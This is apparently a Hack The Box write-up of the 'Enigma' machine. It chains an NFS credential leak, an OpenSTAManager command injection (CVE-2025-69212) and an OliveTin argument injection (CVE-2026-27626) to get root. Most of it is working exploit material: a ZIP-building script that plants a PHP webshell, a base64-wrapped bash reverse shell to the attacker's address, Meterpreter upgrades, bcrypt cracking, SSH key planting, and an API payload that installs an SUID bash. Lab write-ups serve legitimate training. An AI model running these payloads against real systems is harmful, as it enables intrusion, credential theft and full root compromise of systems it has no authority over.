HTB Writeup · Season VI

HTB :: Enigma

Command injection attacks chained across two CVEs: NFS credential leak → OpenSTAManager authenticated CMDi (CVE-2025-69212) → OliveTin password-type argument injection (CVE-2026-27626) for root.

OSLinux (Ubuntu)
Userharis
Rootroot
CVEsCVE-2025-69212 · CVE-2026-27626
TagsNFS · SQLi · CMDi · OliveTin · LPE

🔒 This section is password protected.

1 · Recon

Throughout this writeup, two global environment variables are defined in ~/.bashrc or ~/.zshrc: $targetIp for the machine address and $attackerIp for the local tun0 interface.

1.1 Port Scan

rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp    open  http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp   open  pop3     Dovecot pop3d
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   100003  3,4   2049/tcp  nfs
|   100005  1,2,3 53211/tcp mountd
|   100021  1,3,4 33567/tcp nlockmgr
143/tcp   open  imap     Dovecot imapd (Ubuntu)
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp   open  ssl/pop3 Dovecot pop3d
2049/tcp  open  nfs      3-4 (RPC #100003)

Key ports:

Port Service Note
2049/tcp · NFS World-readable export onboarding PDF with initial credentials
80/tcp · HTTP nginx → enigma.htb static corporate site
110 / 143 / 993 / 995 Dovecot POP3 + IMAP mail services once credentials are in hand

1.2 Webbing

“Enigma Corp delivers reliable managed IT support, hardware maintenance contracts, and on-site technical assistance.” The landing page was only static content with non-functional buttons, so web enumeration was dropped and the workflow shifted straight toward the discovered NFS service.


2 · Web

2.1 NFS Breach

The RPC output already showed NFS on 2049/tcp. First check was the export list:

$ showmount -e $targetIp
Export list for 10.129.78.103:
/srv/nfs/onboarding *

The export was world-readable (*) — mountable without credentials:

NFS="$targetIp:/srv/nfs/onboarding"
sudo mkdir -p /mnt/target-nfs
sudo mount -t nfs "$NFS" /mnt/target-nfs -o nolock
ls -la /mnt/target-nfs
# cleanup
sudo umount /mnt/target-nfs && sudo rmdir /mnt/target-nfs
$ ls -la /mnt/target-nfs
total 12
drwxr-xr-x 2 root root 4096 Feb 19 11:54 .
drwxr-xr-x 5 root root 4096 Jun 27 17:21 ..
-rw-r--r-- 1 root root 1751 Feb 19 11:53 New_Employee_Access.pdf
$ cp /mnt/target-nfs/* .
$ ll
-rw-r--r-- 1 pentester pentester 1.8K Jun 27 17:23 New_Employee_Access.pdf

The downloaded PDF revealed a confidential notification for new employees, containing initial credentials for user kevin and the corresponding webmail URL.

That shifted the mail services into the next target. Register the mail vhost first:

echo "$targetIp mail001.enigma.htb" | sudo tee -a /etc/hosts

With kevin:Enigma2024! in hand, access http://mail001.enigma.htb. Roundcube 1.6.16 — updated, no open CVE. Kevin’s mailbox however exposed a colleague: Sarah from Accounts.

See appendix 5.1 for an alternative NFS root filesystem escape that reads Sarah’s mail directly without touching webmail.

2.2 Password Reuse

The welcome PDF contained a temporary onboarding password — a classic non-rotated initial credential. The first spray target was Sarah, the only known user exposed by Kevin’s mailbox.

Sarah reused the same initial password for her Roundcube account. Her mailbox contained a support-system handoff email:

Field Value
URL http://support_001.enigma.htb
Username admin
Password Ne3s4rtars78s
echo "$targetIp support_001.enigma.htb" | sudo tee -a /etc/hosts

2.3 OpenSTAManager

The vhost support_001.enigma.htb served OpenSTAManager — an Italian management platform for assistance work and invoicing. Admin credentials granted immediate access. Version 2.9.8 was outdated and affected by multiple vulnerabilities.

2.3.1 CVE-2025-69212

The advisory marks OpenSTAManager <= 2.9.8 as affected by authenticated command injection in P7M invoice processing. The session was already admin — the missing piece was reaching the invoice import workflow. The vulnerable sink:

// php · XML.php — vulnerable sink
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');
    try {
        if (function_exists('exec')) {
            // VULNERABLE — No input sanitization
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"',
                 $output, $cmd);
        }
    }
}

2.3.1.1 Vulnerability Analysis

The vulnerable upload boundary starts in plugins/importFE/actions.php. ZIP uploads are accepted by outer filename extension and extracted directly into the import directory with no internal path validation:

// php · actions.php
if (string_ends_with($name, '.zip')) {
    $directory = FatturaElettronica::getImportDirectory();
    // [!] Internal ZIP entry paths are attacker-controlled
    Util\Zip::extract($temp_name, $directory);
}

The extraction helper in src/Util/Zip.php performs a plain ZipArchive::extractTo() with no filename normalization:

// php · Zip.php
public static function extract($path, $destination = null)
{
    $zip = new \ZipArchive();
    $extraction_dir = !empty($destination) ? $destination : base_dir().'/tmp';
    directory($extraction_dir);
    // [!] No internal path validation before extraction
    $zip->extractTo($extraction_dir);
    $zip->close();
    return $extraction_dir;
}

Any archive entry ending in .p7m is passed to the P7M decoder via FatturaElettronica::__construct():

// php · FatturaElettronica.php
public function __construct($name, $directory = null, $plugin = null)
{
    $this->file = static::getImportDirectory(...).'/'.$name;
    // [!] $name comes from extracted ZIP entry — attacker-controlled
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);
    }
}

The code wraps $file in double quotes inside the openssl shell command but never shell-escapes it. A filename containing:

"; <command>; echo "

breaks out of the quoted -in argument and injects a second command. The upstream fix added a character blocklist and proper escaping:

// php · XML.php (patched)
if (preg_match('/[;&|`$(){}\[\]<>]/', $file) || preg_match('/[;&|`$(){}\[\]<>]/', $output_file)) {
    throw new \Exception('Invalid file path');
}
$escaped_file = escapeshellarg($file);
exec('openssl smime -verify -noverify -in '.$escaped_file.' ...', $output, $cmd);

Full exploit chain:

  1. Admin uploads crafted *.zip via Importazione FE
  2. Util\Zip::extract() — extracts attacker-controlled archive member names
  3. Crafted *.p7m filename lands in import directory
  4. FatturaElettronica::__construct($name) → XML::decodeP7M($this->file)
  5. exec("openssl ... -in \"$file\" ...") — unescaped path → arbitrary command execution as www-data

2.3.1.2 Command Injection PoC

Avoid / inside the injected command since ZIP extraction treats slash as a path separator. Use cd first, then write the webshell with printf:

#!/usr/bin/env python3
# makezip-cve-2025-69212.py
import zipfile

# Keep '/' out of the injected command
cmd = "cd files && printf '<?php system($_REQUEST[\"cmd\"]); ?>' > .files.php"

# Break out of the quoted -in argument in XML::decodeP7M()
name = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile("xpl.zip", "w") as zf:
    zf.writestr(name, b"exploited before XML parsing fails")

print("[+] wrote xpl.zip")
$ python makezip-cve-2025-69212.py
[+] wrote xpl.zip
$ unzip -l xpl.zip
Archive:  xpl.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       34  2026-06-27 19:23   invoice.p7m";cd files && printf '<?php system($_REQUEST["cmd"]); ?>' > .files.php;echo ".p7m

Upload the ZIP from the Importazione FE entry on the invoice workspace. The response throws an XML parsing error — expected. The injected command ran during P7M decoding, before invoice processing completes. Verify:

$ curl "http://support_001.enigma.htb/files/.files.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Webshell confirmed at /files/.files.php — command execution as www-data.

2.4 Shell

Start a Metasploit listener, then trigger the webshell with a base64-encoded reverse shell to avoid URL metacharacter issues:

# msf · handler
msfconsole -q -x "use exploit/multi/handler; set payload generic/shell_reverse_tcp; \
  set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -j"
# bash · trigger reverse shell
webshell="http://support_001.enigma.htb/files/.files.php"
payload=$(printf 'bash -c "bash -i >& /dev/tcp/%s/4444 0>&1"' "$attackerIp" | base64 -w0)
curl "$webshell" --data-urlencode "cmd=echo '$payload' | base64 -d | bash"
[*] Command shell session 1 opened (10.10.13.68:4444 -> 10.129.78.103:49134)

www-data@enigma:~/html/openstamanager/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade to Meterpreter:

# msf · shell → meterpreter
use post/multi/manage/shell_to_meterpreter
set PLATFORM_OVERRIDE linux
set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcp
set SESSION 1
set LHOST tun0
set LPORT 5555
run
[*] Meterpreter session 2 opened (10.10.13.68:5555 -> 10.129.78.103:57184)

meterpreter > getuid
Server username: www-data

3 · User

3.1 Web Server Enumeration

First move from any web server foothold: enumerate config files.

meterpreter > pwd
/var/www/html/openstamanager
meterpreter > ls *config*
100644  config.example.php
100644  config.inc.php
100644  config.php

config.inc.php contained plaintext database credentials:

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';

3.2 SQL Dump

Use the credentials from the shell. OpenSTAManager stores users in zz_users:

mysql -ubrollin -p'Fri3nds@9099' openstamanager \
    -e "SELECT id, username, password FROM zz_users;"

+----+----------+--------------------------------------------------------------+
| id | username | password                                                     |
+----+----------+--------------------------------------------------------------+
|  1 | admin    | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu |
|  2 | haris    | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC |
+----+----------+--------------------------------------------------------------+

Crack with Hashcat mode 3200 (bcrypt):

$ hashcat -m 3200 hashes.txt "$wordlists"/rockyou.txt

$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC:bestfriends

Status: Cracked
www-data@enigma:~/html/openstamanager$ su - haris
Password: bestfriends

haris@enigma:~$ id
uid=1000(haris) gid=1000(haris) groups=1000(haris),100(users)

3.3 SSH Connection

The target only allows public key authentication — no password login. Generate a key pair and plant the public key from the www-data shell:

ssh-keygen -q -t ed25519 -f /tmp/k -N ""
u="haris"
pk="$(cat /tmp/k.pub)"
sp="/home/$u/.ssh"
install -d -m 700 $sp
printf '%s\n' "$pk" > $sp/authorized_keys
chmod 600 $sp/authorized_keys
$ chmod 600 key
$ ssh -i key haris@enigma.htb
haris@enigma:~$ id
uid=1000(haris) gid=1000(haris) groups=1000(haris),100(users)
haris@enigma:~$ cat user.txt
d**********************************4
🚩
User Flag — /home/haris/user.txt
d**********************************4

4 · Root

4.1 Local Enumeration

Inspect runtime sockets:

haris@enigma:~$ ss -tulpen
Netid  State  Local Address:Port  Process
tcp    LISTEN 127.0.0.1:1337      ino:12375 sk:1004 cgroup:/system.slice/OliveTin.service

Port 1337 bound to OliveTin.service — an admin panel for exposing predefined shell commands as web actions. If it runs as root, any unsafe argument becomes a privilege boundary.

4.2 OliveTin

4.2.1 Service Enumeration

Confirm the process owner:

haris@enigma:~$ ps -eo user,pid,cmd | grep -i '[o]livet'
root        1468 /usr/local/bin/OliveTin

Root. Check the service configuration for actions and auth settings:

haris@enigma:~$ cat /etc/OliveTin/config.yaml | grep -Ei 'auth|pass|shell'
    shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
      - name: db_pass
        type: password
authRequireGuestsToLogin: false

authRequireGuestsToLogin: false — guest access is allowed without authentication. Combined with a root-owned shell action, this is the full privilege boundary.

4.2.2 Tunneling

Forward port 1337 over SSH to reach the OliveTin panel from the browser:

ssh -i key haris@enigma -L 1337:127.0.0.1:1337

OliveTin v3000.10.0 — Backup Database action accessible as guest.

4.2.3 CVE-2026-27626

CVE-2026-27626 affects OliveTin <= 3000.10.0. The config puts db_pass inside single quotes in a shell string. The vulnerability is that password-type arguments bypass the shell safety check entirely, and also bypass the regex character validation — meaning shell metacharacters survive unchecked.

4.2.3.1 Backdoor Analysis

In service/internal/api/api.go, every argument is copied straight into the executor request without validation:

// go · api.go — argument copy
func (api *oliveTinAPI) StartActionAndWait(...) {
    args := make(map[string]string)
    for _, arg := range req.Msg.Arguments {
        args[arg.Name] = arg.Value // [!] attacker-controlled
    }
    execReq := executor.ExecutionRequest{
        Arguments: args, // [!] reaches executor
    }
}

The shell safety guard in service/internal/executor/arguments.go rejects several dangerous types — but omits password:

// go · arguments.go — missing password in unsafe list
func checkShellArgumentSafety(action *config.Action) error {
    if action.Shell == "" { return nil }
    // [!] "password" is NOT in this map
    unsafe := map[string]struct{}{
        "url": {}, "email": {}, "raw_string_multiline": {}, "very_dangerous_raw_string": {},
    }
    for _, arg := range action.Arguments {
        if _, bad := unsafe[arg.Type]; bad {
            return fmt.Errorf("unsafe argument type '%s' cannot be used with Shell execution.", arg.Type)
        }
    }
    return nil
}

TypeSafetyCheck also returns nil for password with no character restriction — quotes, semicolons, and shell comments all survive:

// go · TypeSafetyCheck — password case
func TypeSafetyCheck(name string, value string, argumentType string) error {
    switch argumentType {
    case "password":
        return nil // [!] no character restriction whatsoever
    ...
    }
    return typeSafetyCheckRegex(name, value, argumentType)
}

The final sink is executor_unix.go — the rendered shell string goes straight to sh -c:

// go · executor_unix.go — shell sink
func wrapCommandInShell(ctx context.Context, finalParsedCommand string) *exec.Cmd {
    cmd := exec.CommandContext(ctx, "sh", "-c", finalParsedCommand) // [!] shell sink
    cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
    return cmd
}

4.2.3.2 Attack Chain

  1. StartActionAndWait() — copies JSON arguments into ExecutionRequest.Arguments
  2. checkShellArgumentSafety() — omits type=password from the unsafe list
  3. TypeSafetyCheck("db_pass", ..., "password") → returns nil; shell metacharacters survive
  4. tpl.ParseTemplateWithActionContext(Action.Shell, ..., Arguments) — expands db_pass inside the mysqldump shell string
  5. exec.CommandContext(ctx, "sh", "-c", finalParsedCommand) → arbitrary command execution as root

The injection payload closes the single-quoted password argument and runs a second command:

db_pass = x' ; id ; #

# Rendered shell command:
mysqldump -u backup_svc -p'x' ; id ; #' production > /opt/backups/backup.sql
                            ^    ^   ^
                            |    |   └─ comments trailing syntax
                            |    └─ injected command runs as root
                            └─ closes original single quote

4.2.3.3 Exploit

Identify the bindingId for the Backup Database action via the API:

haris@enigma:~$ curl -s http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/GetDashboard \
  -H 'Content-Type: application/json' --data '{}' \
  | jq '.. | objects | select(.title? == "Backup Database") | .action'
{
  "bindingId": "backup_database",
  "canExec": true,
  "arguments": [
    {"name": "db_user", "type": "ascii_identifier", "defaultValue": "backup_svc"},
    {"name": "db_pass", "type": "password",         "defaultValue": ""},
    {"name": "db_name", "type": "ascii_identifier", "defaultValue": "production"}
  ]
}

Inject via the UI, or call the API directly to install an SUID bash:

actionId='backup_database'
cmd="install -m 4755 /bin/bash /tmp/.bs"
cat > /tmp/backdoor.json <<JSON
{
  "actionId": "$actionId",
  "arguments": [
    {"name": "db_user", "value": "backup_svc"},
    {"name": "db_pass", "value": "x' ; $cmd ; #"},
    {"name": "db_name", "value": "production"}
  ]
}
JSON
curl -s -X POST \
  -H 'Content-Type: application/json' \
  --data @/tmp/backdoor.json \
  http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait
haris@enigma:~$ ls -la /tmp/.bs
-rwsr-xr-x 1 root root 1446024 Jun 28 05:23 /tmp/.bs
haris@enigma:~$ /tmp/.bs -p
.bs-5.2# id
uid=1000(haris) gid=1000(haris) euid=0(root) groups=1000(haris),100(users)
.bs-5.2# cat /root/root.txt
9********************************b
🚩
Root Flag — /root/root.txt
9********************************b

5 · Appendix

5.1 Netexec NFS — Root Filesystem Escape

Netexec automatically detects NFS root escape and can read files beyond the exported share — including mail spools — without needing to compromise any account first.

$ nxc nfs "$targetIp" --enum-shares
NFS  10.129.78.103  [*] Supported NFS versions: (3, 4) (root escape:True)
NFS  10.129.78.103  [+] /srv/nfs/onboarding
NFS  10.129.78.103  0  r--  1.7KB  /srv/nfs/onboarding/New_Employee_Access.pdf  *

root escape:True means the share can be traversed to the host root path. Read /etc/passwd to enumerate system users:

$ nxc nfs "$targetIp" --get-file /etc/passwd passwd
NFS  10.129.78.103  File successfully downloaded from /etc/passwd to passwd
$ cat passwd | grep '/home'
haris:x:1000:1000:,,,:/home/haris:/bin/bash
kevin:x:1001:1001::/home/kevin:/usr/sbin/nologin
sarah:x:1002:1002::/home/sarah:/usr/sbin/nologin
it:x:1003:1003::/home/it:/usr/sbin/nologin

Sarah’s mail spool was directly readable — exposing the OpenSTAManager admin credentials without webmail:

$ nxc nfs "$targetIp" --get-file '/var/mail/sarah' sarah.mail
NFS  10.129.78.103  File successfully downloaded from /var/mail/sarah to sarah.mail
$ tail sarah.mail
Username: admin
Password: Ne3s4rtars78s

Note: I will create a dedicated account for you shortly, for now you can use the admin account.

Regards,
IT Support
Enigma Corp

Alternate Route — NFS root escape → read /var/mail/sarah directly → skip webmail entirely → pivot straight to section 2.3 with admin credentials for OpenSTAManager.